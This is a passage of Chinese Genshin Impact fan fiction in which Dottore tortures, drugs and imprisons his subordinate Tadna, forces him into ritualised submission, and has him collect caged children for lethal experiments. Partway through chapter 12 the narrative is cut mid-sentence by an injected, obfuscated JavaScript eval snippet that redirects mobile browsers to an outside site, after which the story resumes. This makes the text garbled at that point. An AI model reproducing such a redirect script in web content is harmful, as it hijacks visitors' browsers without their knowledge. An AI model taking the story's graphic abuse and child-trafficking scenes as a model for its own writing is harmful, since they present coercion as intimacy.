“我要报复你,我要让你每日都体验比我被捅穿心脏疼痛一千倍,一万倍的痛苦,你也不用想轻易死去,我会让你活着,永远地活着。” 他从口袋里掏出一个药瓶,捏开我的嘴把里面的药粉尽数倒进我的嘴里,药粉苦得我面容扭曲,在咽下去的那一刻,我感觉到精神骤然涣散,如同被蒙上了厚厚的白布,感到茫然且无措。 与这样的感觉同时出现的,是几乎粉碎内脏般的疼痛。 “呜……”我忍不住痛呼,骤然的剧烈疼痛让我几乎连跪都跪不住了。 这犹如生生扒皮去筋的疼痛,在此刻,我终于明白了那些服下这药后发出凄厉惨叫声的病人所经受的到底是怎样的痛苦。 我咬着牙,喉咙里都弥漫着血的味道。 “你下的药,我用了双倍的量。”多托雷的声音仿佛从天边传来的轰雷一般,炸得我耳朵嗡嗡的。 “想要我放过他,可以,按照你刺我的力度的两倍,我要你自己动手品尝一下这样的痛苦,明白吗?” 看我疼得连动都动不了,多托雷还专门捡起那把手术刀塞进我的手里,被冷风吹得没有一丝温度的手掌贴合着我的手背,将刀尖抵住我的胸。 “真是遗憾,你非生论派的学生,所以不知道人类的心脏的准确位置,那日的一刀,若是再偏差些许,我或许就活不到现在了。”多托雷感叹着,将原本抵着的地方挪离两分。 “我要你活着,所以就在这里下刀吧,偏离心脏的地方些许,能让你吃些苦头,也不至于死去。” “放心,我不会让你死去的。” 青年的话语犹如叹息,似是诅咒。 我此刻经历着非人的痛苦,那药还让我精神混沌,连多托雷的话也只听了个半懂不懂,我呆呆地握着刀,什么救人,什么报复,只是如无意义的字符串从我的脑中平滑地滑过。 “怎么不动手?”多托雷似是真心不知道为何一样发问,“你不是想救人吗?怎么不动手了?还是说……” 他一丝一毫摩梭着我的指骨:“或许,你需要我的一些帮助?” 我崩溃地哭出声来:“求您,求您,求您帮帮我……” 多托雷嗤笑一声,握住我的手骤然收紧,带着那把手术刀刺进我的胸膛,突然的新的剧痛让我忍不住惨叫一声,整个人抖如筛糠。 我几乎要握不住那把手术刀,但多托雷不肯放过我,一只手抵着我的后背,把手术刀往更深处送去。 疼痛。 鲜血。 我不知道这样的报复持续了多久,只听见似乎有人在撕心裂肺地哭喊,那惨叫异常凄厉,久久不停。 直到嗓子都哑了,泪水都要流地干涸,我才惊觉,那人是我。 哭泣的是我,惨叫的是我。 我意识恍惚,听到似乎有人在我身边说话。 “多托雷,注意时间。” “好,马上就结束了。” “另一个人呢,你还要抓回去吗?” “呵,不用了,反正是半失败的实验体。” 听到这里,我再也坚持不住,意识陷入黑暗,昏迷过去。 …… 多托雷有些嫌弃地扔开怀里满是鲜血的人,从容地站起来,抽出手帕擦拭着自己手上的血迹。 他此刻的心情很好,或者说,看见塔德纳的痛苦和狼狈,听见塔德纳在毫无意识的情况下乞求他,让他有一种莫名其妙的满足感。 这感觉驱使着他,想要更进一步,更加狠厉地折磨这个人。 【丑角】挥手让人放了阿巴斯,阿巴斯如蒙大赦地逃跑,连鞋跑掉了一只都不敢回头捡,手脚并用,生怕再晚一步就又被抓回去。 多托雷看了也只是冷笑:“呵,真是丑陋。” 【丑角】沉声告诫他:“我不管你和你的下属是什么关系,怎样相处,下次,不要耽误所有人的时间。” “我知道了。”多托雷漫不经心地应了一声。 【丑角】见此也不再多说,他虽觉得多托雷的手段有些残忍,但在追寻这位“怪才”之名的踪迹,邀请多托雷加入愚人众的他早已有所准备。 既是多托雷的下属,那他也无多少关心的义务。 “走吧,回至冬的船已经备好了。” …… 我偶尔走在路上会驻足思考,思考自己生而为人,来源为何,归路为何,但总是无法得到答案。 我的一生,过于乏善可陈。 路上的人看我奇奇怪怪地立在路上,什 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我听见有人如此称呼多托雷。 这些人对多托雷敬畏有加,不敢直呼他的名字,即使只是“多托雷”这样一个刚被赋予,说是“假名”“代号”也不为过的一个名字。 他们钦佩多托雷的实力,也害怕于他的手段。 这是我被关在一间狭小的小黑屋里面的不知道第多少天,这里寒冷且黑暗,四周冰冷的墙壁不过稍微一伸手便能够触碰到。我只能蹲在地上,累了便把头放在墙上休息,或者蜷缩着躺在地上。 但即使是这样的姿势也很痛苦,所以我几乎没有一夜安眠。 自醒来后,我的身体便一直在疼痛当中,不仅是胸膛的伤口——那里已经被处理过了,只是依然疼痛,还有大脑在药物折磨下的痛苦。 除此之外,便是无尽的黑暗带来的精神的压迫。 我感到难以忍受,这黑暗让我无法感知时间,也无法感知自己所处的空间。 我仿佛身处被隔绝的深渊,只有偶尔从外面传来的声音能让我感觉到我依然是活着的这一事实。 “你听说了吗?【博士】大人今天又发了好大的脾气,据说是有人联名举报了【博士】大人的试验,举报信都递到女皇大人手上了!” “那又能怎样,【博士】大人可是【丑角】大人招揽进来的,又是第二席,谁能动得了他?” “我看未必,连【队长】大人都怒斥过【博士】大人的试验,说【博士】大人罔顾人性,据说那次会议结束的时候,【博士】大人的脸都是青的。” “这也难怪,【队长】大人最是正直,要我说,【博士】大人的那些试验确实不好看,什么切下人的胳膊大腿啊,还有打开胸膛取下心脏的……” “嘘!你敢这么说,你不要命了!” 外面的声音骤然停止,过了一会儿,又淅淅簌簌地响起来。 “哎……什么时候我才能换个岗位,天天在这里守着这个地方,真是无趣极了。这里面关的到底是谁啊,非得派这么多人在这里日夜不停地守着。” “这你就不知道了吧,我那天在场,可是亲眼看见【博士】大人抱着一个浑身是血的男子关了进来。那伤势,啧啧,伤口血呼刺啦的,就剩一口气了!” “那岂不是都快死了……关这么久,也没见给治疗给饭的,真的还活着吗?” “谁知道呢,跟着【丑角】大人出去的人说【博士】大人好像跟这人关系不一般,也不知道是怎么个不一般法。” “你不是说是个男人吗?” “是男人吧,头发有点长,我也没看清脸……要是女的也不是没可能……” 我忍不住一头撞在铁门上,铁门“咚”地一声发出巨大的声响。 这下外面终于不说话了。 11. 第 11 章 多托雷走在廊道里,雪国冰冷的阳光透过彩窗照在人身上,让人感受不到一丝温度,反而有些凉意。 “多托雷。” 背后传来声音。 多托雷转身,见一名红衣的女子叫住他。 多托雷在记忆里面搜寻了一下,很快想起来这位是【仆人】,最近回来至冬,刚才在会上见过。 “凯丽德温,你找我有事吗?” “听说你在寻找实验体的供求者,为了这件事找了很多人,还被拉到会议上说了一顿,哼哼,大家意见不一呢。” 多托雷保持微笑:“这种事情就不用特意强调了。如果你只是来和我说这些没营养的话的话,那么我要走了。我的时间很宝贵的。” 凯丽德温捂嘴轻笑:“别急啊,我可是来找你聊合作的,你确定现在要离开?” “哦?”多托雷有了点兴趣。 “壁炉之家的孩子,总会有在决斗中被淘汰下来的存在,他们没有资格为至冬献力,连生存的权利也被无限剥夺。” “你要把他们送过来当实验体?” “有何不可?” 多托雷自几步外上下打量了一眼这位据说上任不久便雷厉风行的执行官,对自己的同僚到底是什么样的人有了更深一层次的理解。 他笑了:“可以。你的要求是?” “不急,一切事项我们可以之后慢慢聊。” 多托雷没什么意见:“好,我之后会亲自去找你。” “亲自?”凯丽德温有些讶异地看了多托雷一眼,“不不不,你可能还不清楚,我们这些执行官的一举一动都有人盯着,私下见面太过频繁可是会留下把柄的。你可以派遣你的下属……” 凯丽德温像是突然想起了什么一样,停顿一下,笑容更甚:“抱歉,我忘了,你才拒绝了统括官大人为你安排副官的建议,想必是心中已有了合适的人选。我听说你有一位自你来至冬前便跟随你的下属,想必就是他了,我很期待与他的见面。” 多托雷露出皮笑肉不笑的表情来。 “呵呵,你的消息倒是灵通。他有些不听话,等我调.教好了,自然会放出来的。” 凯丽德温用暧昧的眼神扫视了多托雷一眼,笑着告别了,高跟鞋鞋跟叩击地板的声音渐行渐远。 多托雷看了一眼她离开的方向,恢复面无表情,朝相反的方向离开。 …… 我时常陷入混沌与清醒的交界,感觉自己似乎活着,又似乎已经死去。上一刻似乎还在听着外面的人说话,下一刻就一片寂静无声。 如同只是精神稍微恍惚,便已掠过半天的时光。 这让我痛苦不堪。 我无法停止想象外面的光景,亦无法停止想象多托雷将会对我做出何等的处置,只能在此处静默,静默着等待头顶之剑的垂落。 我想出去。 这里逼仄的空间让我四肢僵硬,连稍微活动都做不到。 先是僵硬,后是疼痛,最后连疼痛也没了,我几乎难以感知到自己的四肢存在。 我想出去。 如果有人能在此打开门,使得光亮再一次照耀在我的身上。 我愿献上自己的所有,宣誓完全的效忠。 如同心中所愿终于被倾听,那扇困囚我不知多少日夜的铁门终于被打开,多托雷自门外俯视着我,神情冰冷。 我或许应该紧张,毕竟眼前此人正是将我囚禁于此处的罪魁祸首,但我此刻心中竟无丝毫的别样的情绪,只觉得如同落入轻盈的羽毛,沐浴春日最温柔的阳光中,觉得无比轻松。 “主人……”我嗫嚅着,长久未发声的器官如同生锈的齿轮发出难听的声音。 我顿时有些羞愧。 我不知道自己现在的样子是如何模样,但肯定万分狼狈,以这样不整的样貌面见主人,实在是颇为失礼。 “自己能走吗?”多托雷如此问。 我点点头,又有些慌乱,生怕多托雷觉得我态度不恭敬,赶紧添了一句。 “可以的,主人。” 多托雷转身便走,连一个多余的眼神都不吝给我。 我有些慌乱地扶着墙壁站起来,此刻才觉得四肢的存在,但是已经多日未使用的双腿难以支撑我此刻的身体,我几乎手脚并用,才算勉强跟上多托雷的脚步。 多托雷转头看了一眼我扭曲的动作,脸色不太好看。 但他终究没再说什么。 我战战兢兢,如履薄冰地跟在后面扭曲地爬行。 幸好路程不远,也没遇到人,否则这种样子,着实给多托雷丢脸了。 我跟着多托雷进了室内,这里似乎是多托雷的实验室,满墙都是用玻璃柜封存着的各类实验用品和样本切片,正中央,则是一例手术台。 多托雷将一包东西扔在我身上,又指了一个方向:“先去把你自己收拾干净,换身衣服。” 我如获大恩。 等到了多托雷所指的地方,我试探性地推开暗门,才发现里面是一个面积不小的休息室,各应东西都齐全,似乎是多托雷平时用作休息的地方,最里面则是浴室。 我进入浴室,身体接触到热水的那一刻仿若新生,此刻完完全全地活了过来。 我换上多托雷扔给我的衣服,那是一件略显单薄的白色衬衣,尺寸倒是刚刚好,只是领口略微拉得有些大,连下面的光景也能够看到。 我拢了拢衣领,光着脚踩在地上出去。 多托雷坐在这室内唯一的一把椅子上,他的穿衣风格变了很多,单看他的外貌,很难相信他是一位须弥学者,甚至还是没成年的那种。 他的右耳添了一只蓝色试管状的耳饰,随着他的呼吸轻轻起伏。 他正闭眼假寐,我便乖巧地走过去,一言不发地在他身边跪下。 不知过了多久,久到我身上从浴室带出来的热气都消散了,多托雷终于睁开眼,那双猩红的双眼怀着满满的恶意上上下下舔舐着我的每一寸皮肤,最后,停留在我低垂的后颈。 “知错了?” 我回答:“知错了,主人。” “呵。”多托雷发出一声嘲讽的冷笑。 他伸手抚摸我的脸,黑色的手套布料虽是无比上乘的材料,但仍带着些布料的粗糙感。 我抑制着心中的震颤,仰起头任由多托雷动作。 那只手摩梭着我的侧脸,温柔得几乎要让人沉溺进去,我生出一种多托雷在安抚小动物的错位感。 但很快,那只手便离开脸颊,往下轻扶着我的脖子,他在喉结上来回按压,揉捏着,轻微的窒息感和不适感几乎让我心迷神醉。 我想起无数次的扼颈,痛苦的窒息感,身体忍不住轻轻地颤抖起来,但心中隐约还有一种隐秘的快感,迫使我将自己送得更近,更近,直到整个人都陷入多托雷完全的控制之中。 等我反应过来,自己已经完全变换了位置,此刻正处于多托雷的双.腿之间,神色迷茫地抬头看着多托雷。 “主人……” 多托雷发出轻微的一声笑,胸膛的震颤顺着腿传递到我的身体里,我几乎要跪不住。 “你总是做不到完全乖巧,塔德纳。”他轻弯着腰,低下头,鼻尖几乎要完全对上,那只耳饰也闯入我的双眼。 我颤抖地扶着多托雷的腿,温度和那深蕴的恶意一并传入我的大脑。 “但是没关系,塔德纳。”多托雷缓慢地吐字,“我会包容你的一切,只要你能够保证,完全地效忠于我,完全地臣服于我。” 那充满着实验室冷气和试剂气味的冰冷气息笼罩着我,我感到头晕目眩,大脑像是被人拿十只史莱姆的粘液堵住了,运转不过来。 我呆呆地问:“我该……怎么做……” 那红眼的恶魔在耳边轻声诱惑:“求我。” “求您,求求您告诉我,求您帮我……” 我几乎完全落入多托雷的怀抱,我贪恋着汲取他身上的气息,仿佛这样能让我内心稍微平静。 在灵魂的颤抖中,一只手摸上我的左耳耳垂,一阵刺痛传来,我忍不住轻哼一声。 “乖一点,不要动。”多托雷安抚着,手掌托着一只与他相似的试管形耳饰的尾端,而弯钩处,如今正好好地呆在我的耳朵上。 他松开手,我感觉到耳垂一重,陌生的份量攀附上我的耳垂,如同 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多托雷对自己来到至冬的生活并不是很满意,自从经历被背刺差点死去的事情后,他更加难以相信其他人,十分排斥与他人的身体接触。 然而这所有的一切他都无法说出口,一切宣之于口的弱点都将成为刺向他的一柄利刃,他很清楚这一点。 塔德纳。 他咀嚼着这个名字,想起那愚蠢的脸,愚蠢的表情,愚蠢的泪水,恨不得把这个家伙拆碎了吃下去,连骨头也不放过,要用尖牙嚼碎。 蠢货。 他或许从一开始就应该杀了这个家伙,也不至于后来生出这么多的事端。 多托雷越想越心烦,他驱逐了所有实验室的其他人,只留自己一个人坐在椅子上,猩红色的双眼紧盯着墙上的一个人脑样本。 把他的脑袋劈开,脑子掏出来放在罐子里,或许是个不错的想法。 多托雷如此想着,脑海里想起那日沙漠胸口满是鲜血不断求饶的青年,心情好了些许。 不不,应该换个更温和的手段,塔德纳如果死去,那么一切报复都只会沦为一场空话。 那太便宜他了。 他又想起青年跪下时露出的白嫩的脖颈,那夜青年表演着衷心袒露的胸襟和刻下的血字。 那双绿色的,懦弱的眼睛里,是塔德纳自以为藏得很好的厌恶。 这个家伙与其他人并无不同。 多托雷从一开始就知道这一点。 他知道塔德纳无时不刻不在恐惧他,厌恶他的手段,想要从他的身边逃离。 但塔德纳似乎并不知道这一点。 这个可怜的蠢货,在心里不断地劝说自己臣服这个恶魔,却连自己都没意识到这件事。 真有意思,不是吗? 多托雷并不排斥触碰塔德纳。 没错,即使塔德纳做出了不止一件违逆他的事情,阳奉阴违,还做出了那样大不敬的事情,他因此排斥所有其他人的接近,却对塔德纳生不出排斥之情。 只是偶尔,或者说是有时,看到那张脸上露出来的痛苦,露出来的恭敬,他会想要更用力一点,用力到折断青年的脖子,听他落泪,听他求饶。 这不好。 多托雷反思着。 是的,就算是他,偶尔也会反思自己的行为。 这似乎是多余的情感,只会让事情变得复杂起来。 塔德纳这个人总能将事情变得更糟糕。 多托雷沉思。 他站起来,将今早拿出来暂时放置在手术台的盒子打开,里面是一只与他右耳一般无二的耳饰。 “如此,塔德纳,我将允许你成为我身边最亲近的人,你将不被允许远离我,不被允许惧怕我,不被允许违逆我。我们的生命,将如同相交的毛线纠缠不清,直到一方死去。” “我会将你视作我的所有物,你既已参与了我不可他视的过去,也必须做好与我纠缠的准备。” 他要看着塔德纳,看着这个愚蠢的家伙如何一步一步地说服自己,强迫自己跪服在他的身下。 12. 第 12 章 至冬,我第一次听说这个国家,是在幼时开蒙的课本上,这个大陆最北端的雪国,常年被冰雪覆盖,据说每到一定的时节,就能够目睹到极光。 这也是我对这个国家唯一的认知了。我短暂的一生都转战忙碌于在须弥的学习生活,除此之外的事情,几乎毫无涉猎。 如果没有多托雷这个意外的话,我想我一辈子都会待在须弥。 这是个与须弥完全不同的国家。 常年寒冷的温度如是,连人与人之间的疏离也是。 我跟着多托雷走在这座宫殿里,周围的护卫和路过的人都冷漠地看着我,但看到多托雷的时候又会停下来行礼。 这是个制度阶级森严的地方。 我如此想着。 多托雷没有理这些人,连多余的眼光也懒得施舍,他径直走过,朝一个宏大威严的会议厅走去。 到了门口,他停下脚步,转头看我。 我低头。 他说:“你在这里等着。” 看来里面是不允许下属进去的地方。 我了然,乖巧应道:“是,主人。” 两边的护卫为多托雷打开门,然后又迅速合上,我没心思多看,稍稍退远两步靠墙站着。 多托雷似乎是最后一个到的,总之在我之后并没有人经过,当然这附近也没有和我类似身份的人守着。 我在外面等了差不多两个小时,即使穿着很厚的衣服也感觉手已经被冻僵了。 大门缓缓敞开,里面的人走出,看衣着与多托雷的差不多,可能是执行官的制服之类的。 尽是些我招惹不起的人,我努力缩小着自己的存在感。 不过即使这样,我还是有点显眼,毕竟这附近好像就我一个人等在这里。 我想这里或许不是我应该来的地方才对。 “这是哪里来的人?为何守在门外?” 是一道略有些严肃的女声。 “他是我的副官,还请不要为难他,【富人】。”多托雷的声音紧随其后。 他走出来站到我面前,我稍微松了口气:“主人。” “这就是你带来的人?”与前面那道严肃的声音不同,这次的女声带着戏谑。 我看到一缕红色的衣角转至我身前,一只温热的,带着细茧的手抬起我的下巴,强迫我抬头。 一抬头便看见将近有四五个执行官站在门口,远处还有往这边伸脖子看热闹的,我冷汗唰地一下冒出来了。 红衣的女子上上下下打量着我,又去取笑多托雷:“你之前拒绝给你安排的人难不成是因为颜值不过关?” 多托雷轻笑一声,只是眼里没什么笑意:“凯丽德温,不要玩弄我的人。” “别这么小气,以后见面的日子还多着呢,占有欲太过旺盛可是不会讨人喜欢的。” 多托雷:“没有那种东西。” “没有?没有的话要不然你把他让给我,正巧我身边还缺一个得力的下属。” 多托雷:“他笨的很,怕是胜任不了。” 女子笑意更甚:“怎么会?你的人,能力方面我很放心。” 身边的气压一下子低了下来。 我连忙往后退了一步,脱离这人的手掌,战战兢兢地回话:“对不起,大人,在下能力低微,恐怕难以承担大人如此厚爱……” 名唤凯丽德温的女子笑起来:“好吧好吧,真是衷心的下属。” 旁边的【富人】皱了皱眉,拉扯一下凯丽德温的衣袖:“走了,【仆人】。” 两人似乎关系颇近。 【仆人】不再言语,只是用含着深意的眼神看了一眼多托雷,转身同【富人】离开。 另一道高大的身影从会议室走出,我看到那人脸上的半脸面具,认出是在须弥便以见过的【丑角】。 【丑角】看过来,眼神在我身上停留片刻。 我缩了缩脖子。 “多托雷,深渊的事宜我已下令,【队长】已答应会带你一起前往深渊考察,具体细节你们之后另行商定即可。” 多托雷稍微收敛了一些:“我知道了。” “女皇大人很看重你的才能,你须尽力而为。” “是。” 我还是第一次见多托雷如此谦恭的模样,这位【丑角】大人在他心中的份量比我预想的还要高上很多。 如此想着,我忍不住看了多托雷一眼,抬头一瞬间不小心和【丑角】的视线对上,我心里一慌。 【丑角】沉吟片刻,还是忍不住开口:“执行官的会议理论上不允许带下属来。” 多托雷一笑:“抱歉,我没在条例上看到这一条。” 【丑角】:…… 【丑角】:“既如此,你注意分寸便好。” 这位位高权重的统括官临走之前又看了我一眼,不知道为什么,我总觉得他的眼神有些复杂。 他在看什么? 我思索着【丑角】刚才的视线,看方向好像是在看我的耳坠。 我忍不住伸手摸了摸左耳的饰品,足有半个手掌宽的试管耳饰入手冰凉。 “别发愣,跟着我。” 多托雷捏了捏我的后颈,我心里一惊,赶忙追上去。 不知道为什么,大家对我的态度总是有些微妙,那些实验室的人以及士兵暂且不论,他们对我的态度倒是出乎意料地带了些尊敬,平时也愿意叫我一声“大人”。 我很明白他们不过是因为多托雷的缘故罢了。 不过这对我而言并不是一件什么值得纠结的事情,我的一切现在都归属于多托雷,这是既定事实,我也没有非到要计较个人独立人格的叛逆时期。 令我有些纠结的是,那些执行官大人的态度,总显得有些暧昧不清,特别是【仆人】凯丽德温大人,这位大人与多托雷达成了某些合作协议,我来办事的时候总能感觉到这位大人看我的眼神不同寻常。 在我终于忍不住将心中积存已久的疑问问出后,这位看着很好相处但实际上手段凶狠的执行官大人笑了很长的时间。 看她这样的反应,我甚至生出了“我说不定是一名天赋型的喜剧演员也说不定”这样的想法。 这位大人如此回复我:“哈哈,我只是好奇能够和那位【博士】相处的奇人到底是什么样的存在而已,如今看来,果然不一般。” 我一时间不知道她是在嘲讽我还是如何,于是谨慎地选择了沉默。 【仆人】笑完了,转而又恢复她平时那一副高深莫测的表情。 “你知道的吧,”她说,“【博士】来至冬后,可是掀起了好大一阵波澜呢。众人惊叹于他奇诡的想法,却又为他的思想和手段惧怕和震慑,也难怪,像他那样的‘怪才’,带来的可不止机遇,说不定,是毁灭。” 我稍稍屏息。 【仆人】耸了耸肩:“之前实验室那边的人聚众闹事,拒绝让【博士】掌管实验室。呵,女皇大人亲下的指令,哪有那么容易改变,你猜那些人最后怎么了?” “【博士】杀了那些人,据说惨叫声持续了一整个晚上,第二天,实验室多了一面玻璃柜。” 虽然我在心中早有准备,但听到这句话的那一刻,脑海里还是忍不住浮现起来那实验室样本墙里的各色样本,忍不住心中发寒。 “须弥不接纳他,民众也无法接纳他,因为他们无法保证【博士】手里的下一条人命会不会是他们自己,但愚人众需要【博士】。” 这位第四席笑起来,红色的,火焰般的双眼紧盯着我。 “愚人众需要这位如同‘怪物’一般的天才。” “协议条例我已知悉,请告诉【博士】,‘合作愉快’。以及,我会让人带着你去‘提货’的,希望你带的人足够多。” 从【仆人】办公室出来的时候,我才发现自己的后背已经全湿了,我忍不住有些腿软,找了个没人的墙角靠在墙上,心情久久无法平静。 愚人众是至冬一个相当特殊的组织机构,与须弥这样的学术治国的国家不同,愚人众将自己的权柄延申向至冬的各个角落,来操纵这样一个国家,宛如结构精细的齿轮模型运作。 但这样的一个组织,既不要求对民众的关心,也不要求自身的德行高尚,甚至连对这个国家的神明——冰之女皇的忠心也不在要求范围之内。 愚人众所图之物,建设之初的目的,究竟是什么…… 我忍不住看了一眼窗外,女皇宫殿高耸的塔尖如冰晶一般闪烁,心乱如麻。 勉强平复好心中情绪,我便按照【仆人】的指示去找了接应之人取走所谓的“货物”。 在我看到“货物”的内容后,忍不住又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875958|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是眼前一黑,心中不由得生出了“不然不干了吧,大不了一死而已”的想法。 那批“货物”,竟然是“人”。 就年龄来看,或许该称作“孩子”。 约莫二十来人左右,衣衫勉强避体,被关在五个不算大的笼子里。 我上次见到类似的笼子大概是在须弥看见护林员抓捕伤人的长鬓虎。 那些孩子怯生生地看着我。 旁边的人将一沓名册交到我手里。 “大人,这些就是这批次的‘货物’了,如果确认无误的话,就劳大人您亲自带人运走了。” 我在一瞬间几乎感觉自己失去了全部的感知,耳边像是有十台风扇嗡嗡转一样。 我下意识地回答:“好的,我知道了。” 我想起昨天多托雷在实验室抱怨过的“样本不足”,想起满实验室的标本,想起【仆人】的那番话,想起…… 刚才引我来的人已经出去了,现在房间里除了这些“货物”,便只剩下我。 我忍不住按住自己跳得杂乱的心脏,冰冷的耳饰因我的动作砸到我的侧脸上。 疯了…… 真是都疯了…… 多托雷和【仆人】的合作竟然是这个!愚人众竟然真的能容忍多托雷这样的实验! 有一瞬间我甚至会产生一种感觉。 或许整个世界都是正常的,只有我一个人疯了。 否则为何如此多的眼睛盯着此处,目睹此等情景,却只有我一个人感觉难以接受呢? 关在笼子里的那些孩子有些稍有残缺,但大部分都是手脚健全的健康人,害怕地看着我,也不敢发出声音。 或许只是两三天后,这些孩子便会彻底消失踪迹,他们的家庭,如果存在的话,也并不会有关于他们的一丝念想。 然而我知道。 我很明白我会清楚地记得这23个孩子的最终归处。 我闭上双眼,又很快睁开,将所有笼子都用黑布遮盖住后,叫来了外面的人。 我也自身难保。 我如此安慰自己,却难以让自己稍微疏解。 回到多托雷的实验室时已经天色渐暗,我捏紧手里的名册和文件下了车,下令让其他人把“货物”关进早已准备好的地方,然后去找多托雷复命。 多托雷正在实验室,此刻实验室内只有他一人,他一身白色的实验服,坐在椅子上,看手里的实验报告。 若只是看青年此刻的模样,青年的眼下有着过度熬夜后的青黑,猩红色的双眸是难得一见的平静,人们很难想象他的那些恶名。 我深吸一口气走进去,在多托雷脚边跪下,递上手里的东西:“主人,事情已经办好了,‘货物’也都取到了。” 多托雷瞥了我一眼,拿走文件翻阅着。 他问:“货物如何?” 我努力保持声线的平静:“一共23人,其中男12人,女11人,最年幼者7岁,最年长者14岁,均已安置妥当。” “干得不错。”他站起来,将所有文件扔在桌子上,仔细俯视着我,从头顶的发旋到脖颈,目光一点点扫视着。 我紧了紧手心。 “有关深渊的产物,我有了一些新的想法,想要做一些实验,不过现在实验室没有其他人,或许你可以帮我。” 多托雷轻抚着我的下颌将我的头抬起,语气带笑。 我如坠冰窟,只能听到自己的声音机械地回复。 “是……” 我很难形容这一天的我经历了什么。 惨叫,鲜血,和那块据说从深渊带来的,散发着不想气息的未知物体。 我见证了一场堪称骇人听闻的实验。 作为帮凶和从犯。 实验结束,我跟着多托雷走出实验室的时候,终于还是忍不住冲到一边,扶着墙角蹲下,止不住地呕吐。 我身体剧烈地发着抖,虹膜似乎还残存着刚才的一幕幕场景,连胃液和鲜血都要吐出去。 多托雷就站在不远处看着我狼狈地呕吐,一言不发。 等到我什么也吐不出来,疲惫地靠在墙上的时候,他缓步靠近我,手掌贴紧后颈,摩挲揉捏着。 我忍不住打了个寒颤。 多托雷冷笑一声,警告道: “最后一次。” 13. 第 13 章 与【队长】的会面比我想象中的要早,在此之前我已在很多地方听说了这位第一席执行官的威名。人们常常用“正义”一词来形容【队长】。 刚正不阿的队长,正直果敢的队长,战功累累的队长…… 我对愚人众的各位执行官暂且知之甚浅,却也觉得这位【队长】大人的传闻,甚至有些“格格不入”了。 我的耳朵听这位【队长】的故事已经听得起茧了,心中对这些故事的真实性也存了些怀疑。 但等到与这位执行官真正见面的时候,我才知道,那些夸张的评价原来不是空谈。 【队长】卡皮塔诺,一个佩戴着黑色面具,全身笼罩在黑暗中的男人,只是远远看上一眼便会觉得望而生畏,令人生不出半点作乱之心。 伫列深渊门前的五千愚人众精锐士兵纷纷列枪敬礼。 【队长】站在最前面,严肃且低沉的声音响起:“全体行默哀礼!在开拔之前,为所有沉眠于深渊的将士们,默哀!” 这是我第一次看见如此宏大的场面,一时间不由得被震慑住。 全场行军礼为死去的将士致礼,就连【队长】也是如此,我和悠哉的多托雷显得倒有些显眼。 我本来还纠结了一下要不要跟着一起做,但看多托雷没有动作的意思,也就放弃了这个想法。 仪式结束,【队长】带着人走过来。 “多托雷,即使是执行官,也需要参加默哀仪式。” 多托雷不以为意地笑笑:“抱歉,我下次会注意的。” 【队长】哼了一声,我总觉得他有点看多托雷不爽的样子。 但多托雷最起码面上功夫还是做到了,他道了歉,【队长】也不能再多说什么,于是【队长】转而看向我。 “深渊之中,危险四伏,你的下属若是没有战斗的能力的话,那么我会推荐你最好换个人带进去。” 我有些难以抵抗【队长】的眼神,虽然带着这样一副全覆盖的面具,连眼睛都露不出来,也很难说是否有什么“灼灼的目光”或是“逼人的眼神”之类的东西,但我还是不免感到紧张。 我往多托雷的身后缩了缩。 感觉在我做出这个动作后,【队长】的眼神更加可怕了…… “我不需要那么多人保护我,可不要小看人,卡皮塔诺。”多托雷看着我,眼中满含恶意,“至于塔德纳,若是弱小到连与我同行都做不到的话,死在深渊或许对他而言是个好结局。” 【队长】冷哼一声,走了。 等他离开,多托雷转身抓住我的肩膀,声音里带着笑意,掐我的力道却大得让我觉得肩膀都要被捏碎了。 “不用想着通过死亡来远离我,我敢保证,只要你还剩一口气,我就能让你活下去,之后永生永世地折磨你。” 我强忍着内心的震颤。 “是……主人。” 不远处传来军队出征的号角声。 多托雷松开我,扔给我一个方形的盒子,大概拳头大小。 “知道神之眼吗?”他问我。 我愣了一下:“当凡人的愿望强烈到某种程度,神明就会投下目光,所给予的魔力外置器官,便是‘神之眼’。” 这是人人都知道常识。 多托雷忍不住冷笑一声:“神明的目光,呵……不过是随处可见的消耗零件而已……还记得我们之前遇到的魔鳞病吗?魔神残渣能抑制人身体内的元素能量,加以利用,未必没有兵器化的可能性。不过我也遇到了些问题,如何找到足够多的魔神残渣,如何将他们存储使用……我虽对此有一定的想法和假设,但终究缺少材料。” 谈起自己的实验,多托雷的语气平静了很多。 “我尝试了很多办法,但都失败了,你手里这个是半成品,效果一般,不过保证你活着从深渊出来应该不是问题。” 他顿了顿,又说:“我就做出来这一个,别给我弄丢了。” “是……” 我捏紧手里的盒子,铁制的外壳硌得我手疼。 神之眼…… 我忍不住想起在须弥见过的神之眼拥有者,他们大多都具有耀人的才华或者是品质,如同被挑选出来的宠儿,受到偏爱。 我偶尔也会思考如果我能够拥有神之眼,是不是能够稍微改变自己的人生。 但我很清楚,这不过是妄想。 拥有强烈的愿望便能被神明注视,而我这样的人,这样阴郁且平平无奇的人,注定不可能得到哪怕一丝神明的目光。 谁又会去关注天鹅中的丑小鸭呢? 不过,即使得不到神明的注视,我如今似乎也得到了另一份注视。 这份“注视”不来自神明。 而来自“怪物”。 作为一名普通人,我对“深渊”的存在和了解知之不多,多托雷花费不小的力气申请来了一同跟随进入深渊的机会,似乎是与他的实验有所相关。 自从遇到过魔鳞病后,他便对这方面很是上心。 我紧跟着多托雷身后进入深渊,身边装备整齐的士兵四相环绕。 深渊和外面的环境相差甚远,被浓重的黑雾笼罩,可见度极低,而即使是在这黑雾后面,也感受不到太阳之类的存在,如同进入了另一个空间一般。 没有太阳,所有的光亮都来自于头顶的某一处光源,难以感知。 我感受到一种轻微的窒息感,心情莫名有些烦躁,令人不适。 多托雷似乎对所有的变化感觉良好,再看看其他人,也并没有出现异常的地方。 我将心中的不适压下,暂时将原因归结于自己瘦弱的身体。 【队长】此次率领精锐部队前来此处深渊其实是为了镇压深渊魔物,顺便带了多托雷的人来调查研究。 所谓的“深渊魔物”,外表看上去和野外的丘丘人或是其他魔物很是相似,但却散发着不祥的气息,实力也更为强劲。 